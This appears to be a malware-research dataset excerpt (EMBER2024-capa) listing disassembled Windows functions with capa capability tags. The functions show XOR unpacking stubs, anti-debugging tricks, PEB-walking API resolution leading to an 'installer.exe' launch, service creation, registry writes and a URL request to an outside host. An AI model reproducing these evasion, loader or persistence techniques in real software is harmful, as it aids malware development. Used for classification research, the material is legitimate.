joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46baa8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46bcbf
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x48]
mov eax, dword [0x471efc]
mov eax, dword [eax]
mov edx, 0xba
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x48]
call fcn.00404810
push eax
call fcn.00469b28
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
lea ecx, [ebp - 0x4c]
mov eax, dword [0x471efc]
mov eax, dword [eax]
mov edx, 0xbb
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x4c]
call fcn.00404810
push eax
call fcn.00469b28
push eax
call sub.kernel32.dll_GetProcAddress_1
mov esi, eax
lea ecx, [ebp - 0x50]
mov eax, dword [0x471efc]
mov eax, dword [eax]
mov edx, 0xbc
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x50]
call fcn.00404810
push eax
call fcn.00469b28
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.004090f4
test al, al
jne 0x46bb6c
mov eax, dword [ebp - 8]
call fcn.00404350
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x20
call fcn.00402f88
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
jne 0x46bc9c
cmp dword [ebp - 0x20], 0
je 0x46bc9c
push 0x104
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x46bc95
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x471f9c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
call fcn.00404810
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x46bbf8
mov dword [ebp - 0x30], 0x46ba14
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00404810
mov dword [ebp - 0x2c], eax
xor eax, eax
call fcn.0044eb7c
mov dword [ebp - 0x10], eax
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x46bc42
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
push eax
call esi
mov dword [ebp - 0x1c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bc49
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_SetErrorMode
mov eax, dword [ebp - 0x10]
call fcn.0044ec30
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bcc6
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00404374
lea eax, [ebp - 0x20]
call fcn.00405f60
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x7a9b46a9
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x5f7a3cf7
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3a683fd6
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x68226d85
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10fe058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.010fe1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10fe07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fe06a
add dl, dl
jne 0x10fe089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fe0dc
xor eax, eax
add dl, dl
jne 0x10fe096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10fe17d
add dl, dl
jne 0x10fe0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fe0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fe0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fe0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10fe0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10fe075
mov eax, 1
add dl, dl
jne 0x10fe0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10fe0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fe0e1
sub eax, ebx
mov ebx, 1
jne 0x10fe128
mov ecx, 1
add dl, dl
jne 0x10fe10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10fe119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fe105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fe075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10fe13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10fe14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10fe136
cmp eax, 0x7d00
jae 0x10fe16d
cmp eax, 0x500
jb 0x10fe168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fe075
cmp eax, 0x7f
ja 0x10fe170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10fe075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10fe19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10fe075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401c6f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45305c]
jne 0x401c79
repz ret
jmp fcn.00402880

Function at 0x407d4a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45305c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004052c4
and dword [ebp - 0x14], 0
cmp dword [0x4948c4], 0
mov dword [ebp - 0x18], eax
jne 0x407dfd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407ea5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407ea5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4948c4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4948c8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4948cc], eax
call edi
push eax
call esi
mov dword [0x4948d4], eax
test eax, eax
je 0x407dfd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4948d0], eax
mov eax, dword [0x4948d0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407e56
cmp dword [0x4948d4], ecx
je 0x407e56
push eax
call esi
push dword [0x4948d4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407e56
test ebx, ebx
je 0x407e56
call edi
test eax, eax
je 0x407e4d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407e4d
test byte [ebp - 8], 1
jne 0x407e56
or dword [ebp + 0x10], 0x200000
jmp 0x407e89
mov eax, dword [0x4948c8]
cmp eax, dword [ebp - 0x18]
je 0x407e89
push eax
call esi
test eax, eax
je 0x407e89
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407e89
mov eax, dword [0x4948cc]
cmp eax, dword [ebp - 0x18]
je 0x407e89
push eax
call esi
test eax, eax
je 0x407e89
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4948c4]
call esi
test eax, eax
je 0x407ea5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407ea7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401c6f
leave
ret
Function at 0x407297
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x7df95c], 0
jne 0x4072d5
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072ab
mov dword [ecx*4 + 0x7df958], eax
inc ecx
cmp ecx, 0x100
jl 0x4072a6
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407302
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x7df958]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072e3
not eax
pop ebp
ret 0xc

Function at 0x401006
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov edx, eax
mov dword [ebp - 4], eax
add eax, 0x3c
mov eax, dword [eax]
add eax, edx
add eax, 0x78
mov eax, dword [eax]
add eax, edx
mov edi, eax
add eax, 0x20
mov eax, dword [eax]
add eax, edx
xor esi, esi
push eax
mov eax, dword [eax]
add eax, edx
mov ebx, str.GetProcAddress
mov cl, byte [eax]
mov ch, byte [ebx]
test cl, cl
je 0x401055
test ch, ch
je 0x401063
jmp 0x40105b
test ch, ch
je 0x40106a
jmp 0x401063
cmp cl, ch
jne 0x401063
inc eax
inc ebx
jmp 0x401047
inc esi
pop eax
add eax, 4
jmp 0x40103d
pop eax
mov eax, edi
add eax, 0x24
mov eax, dword [eax]
add eax, edx
add eax, esi
add eax, esi
mov bx, word [eax]
movzx ebx, bx
mov eax, edi
add eax, 0x1c
mov eax, dword [eax]
add eax, edx
add ebx, ebx
add eax, ebx
add eax, ebx
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x10], eax
push str.LoadLibraryA
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
push str.GetModuleHandle
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov edi, str._98:_199U
xor byte [edi], 0x55
inc edi
xor byte [edi], 0x55
loopne 0x4010b8
mov edi, 0x402037
xor byte [edi], 0x55
loope 0x4010cb
inc edi
loop 0x4010c3
push str._98:_199U
call dword [ebp - 0xc]
mov edx, eax
add eax, 0x3c
mov eax, dword [eax]
add eax, edx
add eax, 0x78
mov eax, dword [eax]
add eax, edx
mov edi, eax
add eax, 0x20
mov eax, dword [eax]
add eax, edx
xor esi, esi
push eax
mov eax, dword [eax]
add eax, edx
mov ebx, 0x402037
mov cl, byte [eax]
mov ch, byte [ebx]
test cl, cl
je 0x401106
test ch, ch
je 0x401114
jmp 0x40110c
test ch, ch
je 0x40111b
jmp 0x401114
cmp cl, ch
jne 0x401114
inc eax
inc ebx
jmp 0x4010f8
inc esi
pop eax
add eax, 4
jmp 0x4010ee
pop eax
mov eax, edi
add eax, 0x24
mov eax, dword [eax]
add eax, edx
add eax, esi
add eax, esi
mov bx, word [eax]
movzx ebx, bx
mov eax, edi
add eax, 0x1c
mov eax, dword [eax]
add eax, edx
add ebx, ebx
add eax, ebx
add eax, ebx
mov eax, dword [eax]
add eax, edx
push 0
push 0
push str.installer.exe
push 0x402064
push 0
push 0x40115f
push ebp
mov ebp, esp
add eax, 5
jmp eax
Function at 0x6dafe9
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 1], edi
push dword [esp + 1]
jmp 0x6db00b
push dword [esp + 1]
jge 0x6dafc7
jl 0x6dafd1

Function at 0x6daff1
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 7]
push dword [esp + 7]
jne 0x6db090
je 0x6db048
pushfd
out dx, eax
mul cl
and byte [ebx - 1], ah
je 0x6db02e
add eax, ebp
loope 0x6db00d
invalid
invalid
pushfd
call fcn.006db06c
cmp al, byte [eax]
add byte [eax], al
xchg dh, ch
jmp 0x6db0c9
lea esp, [esp + 1]
mov dword [esp + 8], edi
lea esp, [esp + 8]
jmp 0x6db09c
lea esp, [esp + 1]
mov dword [esp + 8], edi
lea esp, [esp + 8]
jmp 0x6db02c
mov ecx, 0xf696c71b
mov edi, dword [esp]
jmp 0x6db149
lea edi, [esp + 0x20]
lea esi, [edx*4]
lea eax, [esp + esi]
push ebp
sub esp, 0x9c
jmp fcn.006db10a
mov ebp, dword [esp + 0x2c]
pushal
mov dl, bh
xchg word [esp + 0xe], dx
jmp 0x6db120

Function at 0x6db06c
Capabilities:
Execute anti-debugging instructions

Disassembly:
not ax
mov dl, byte [esp]
stc
pushal
mov di, si
jmp 0x6db0b4
bsf ax, si
cpuid
mov ah, 0xa7
neg al
xchg dword [esp], ebp
jmp 0x6db056
xchg dword [esp + 0x20], ebp
call fcn.006db0df
arpl bx, bp
jnp 0x6db0c9
in eax, dx
pop esi
mov ecx, dword [edx + eax*4]
in eax, 0x14
xlatb
sbb dword [ebp - 0x182f53], ecx
jmp dword [esi - 0x79]
lea ebp, reloc.MSVCRT.dll_strncpy
xchg di, bx
xchg di, dx
xchg bh, al
not ax
cpuid
jmp 0x6db09e

Function at 0x6db233
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
mov byte [esp + 5], dl
lea ebx, reloc.MSVCRT.dll_strncpy
mov dword [esp + 2], edi
xchg ebx, eax
jmp 0x6db268
jmp 0x6db208
lea esp, [esp + 8]
dec ebp
pushal
xchg dword [esp + 0x13], eax
mov bh, 0x28
jmp 0x6db252

Function at 0x6e817f
Capabilities:
Check for trap flag exception

Disassembly:
push ebx
jmp 0x6ce7fa
pushfd
or dword [esp], reloc.MSVCRT.dll_strncpy
popfd
cpuid
nop
jmp 0x6ce811
pop ebx
ret
mov ecx, dword [esp + 0x38]
jmp 0x6e8189
lea esp, [esp + 0x3c]
jmp 0x6ce7ee
Function at 0x7c251b
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap ebp
pop di
lea ecx, [eax + eax]
push word [esp + 1]
mov cx, 0xe347
jmp 0x7c2502
mov dword [esp + 0xc], ebp
mov dx, 0xfb93
xchg di, dx
rdtsc
pop ebp
add esp, 0x13
jmp 0x7c24d6
xchg dword [esp + 4], esi
mov cx, si
xchg esi, edi
mov edx, 0xa5ffc770
jmp 0x7c2543
add esp, 5
push dword [esp + 4]
mov dl, byte [esp + 1]
neg eax
sub esp, 0xf
jmp 0x7c24ef
mov ch, byte [esp + 6]
lea ebp, [eax*4]
lea esp, [esp + 0xc]
xchg edi, eax
jmp 0x7c255d
mov edi, 0x414fae40
rdtsc
mov word [esp + 5], ax
sub esp, 0x10
mov ebx, dword [esp + 8]
xchg word [esp + 1], di
jmp 0x7c252d
xchg ah, ch
stc
inc bh
call fcn.007c2568
int3
Function at 0x401041
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, 0x40a140
call fcn.00404a98
sub esp, 0x110
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x11b]
mov byte [ebp - 0x11c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x11c]
push SysReAllocString
push eax
mov dword [ebp - 0x14], ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4010ca
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x18], eax
call fcn.004046b4
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x4010db
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
leave
ret
lea eax, [ebp - 0x14]
push ebx
push eax
mov eax, dword [ebp - 0x18]
sub eax, esi
push eax
lea eax, [edi + esi]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esi, dword [ebp - 0x14]
cmp esi, dword [ebp - 0x18]
jb 0x4010db
lea esi, [edi + 0x20000]
cmp esi, ebx
je 0x4010ca
push dword [esi + 0x1f]
add esi, 0x1f
call fcn.00404628
push dword [esi]
mov edi, eax
add esi, 4
push edi
push esi
call fcn.00404430
add esp, 0x10
lea ecx, [ebp - 0x10]
call fcn.0040444d
push edi
mov dword [ebp - 4], ebx
call fcn.00404479
push edi
call fcn.004045e0
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40113a

Function at 0x401187
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp + 0x10]
push edi
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call fcn.00404c98
lea eax, [ebp - 0x104]
xor esi, esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax + 0x1a8], esi
je 0x4011ee
add eax, 0x84
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov edi, eax
cmp edi, esi
je 0x4011fb
lea eax, [ebp - 4]
push esi
push eax
push esi
push 1
push esi
push esi
push esi
push 4
push edi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push edi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
jmp 0x4011fb
lea eax, [ebp - 0x104]
push eax
call fcn.00404c20
pop ecx
pop edi
pop esi
leave
ret
Function at 0x40155f
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov eax, 0x40a170
call fcn.00404a98
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x18], ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp eax, ebx
jl 0x40167e
mov ecx, dword [ebp - 0x18]
call fcn.0040187c
push ebx
push 1
push 0x64
push dword [ebp - 0x18]
call fcn.004019c6
mov dword [ebp - 0x14], ebx
mov esi, 0x20006
lea ecx, [ebp - 0x14]
push esi
push str.AppID
push SysReAllocString
mov dword [ebp - 4], ebx
call fcn.00401988
mov edi, eax
cmp edi, ebx
je 0x4015d3
cmp dword [ebp - 0x14], ebx
je 0x40167c
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40167c
mov dword [ebp - 0x10], ebx
push esi
push str.2C778DFF_E123_4032_8BA6_0F6C17F5D1E1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401988
mov edi, eax
cmp edi, ebx
jne 0x40165f
push str.LocalService
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp dword [ebp + 0xc], ebx
je 0x40164b
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, 0x40d198
push edi
call esi
inc eax
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push ebx
push str.LocalService
push dword [ebp - 0x10]
call edi
mov ebx, str._Service
push ebx
call esi
inc eax
push eax
push ebx
push 1
push 0
push str.ServiceParameters
push dword [ebp - 0x10]
call edi
mov ecx, dword [ebp - 0x18]
call fcn.004017cf
xor ebx, ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x18]
call fcn.00402dd3
mov edi, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x401672
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x40167c
push dword [ebp - 0x14]
call esi
mov eax, edi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x4016c5
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 0xc]
mov dword [esi + 0x70], 0x40d0b8
mov dword [0x40e980], esi
push dword [ebp + 8]
mov dword [esi], 0x84
mov dword [esi + 0x64], 0x300
push esi
call fcn.00402c7f
xor ebx, ebx
cmp dword [ebp + 0x14], ebx
je 0x40170f
push 0x10
push dword [ebp + 0x14]
push 0x40e970
call fcn.00404cf0
add esp, 0xc
push 1
lea eax, [esi + 0x84]
pop edi
push 0x100
push eax
push dword [ebp + 0x10]
mov dword [esi + 0x1a8], edi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_LoadStringA]
push 4
push ebx
push 0x1f0fff
mov dword [esi + 0x184], ebx
mov dword [esi + 0x188], 0x10
mov dword [esi + 0x18c], edi
mov dword [esi + 0x190], edi
mov dword [esi + 0x194], ebx
mov dword [esi + 0x198], ebx
mov dword [esi + 0x19c], ebx
mov dword [esi + 0x1a0], ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x4017c8
push 6
mov esi, str.http:__www.notekavasd.com
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
push ebx
push ebx
push ebx
push ebx
push ebx
movsw word es:[edi], word [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
mov edi, eax
push 0x84000000
push ebx
lea eax, [ebp - 0x1c]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
jne 0x4017bc
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
call fcn.00401041
jmp 0x4017c8
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x4017cf
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, ecx
call fcn.00401144
test eax, eax
jne 0x401874
xor esi, esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
jne 0x40180e
add edi, 0x84
push esi
push edi
push str.Couldnt_open_service_manager
jmp 0x40185d
lea eax, [ebp - 0x104]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push str.RPCSS
push esi
lea eax, [ebp - 0x104]
push esi
push eax
push 1
push 3
add edi, 0x84
push 0x10
push 0xf01ff
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
jne 0x401868
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push edi
push str.Couldnt_create_service
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x401877
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret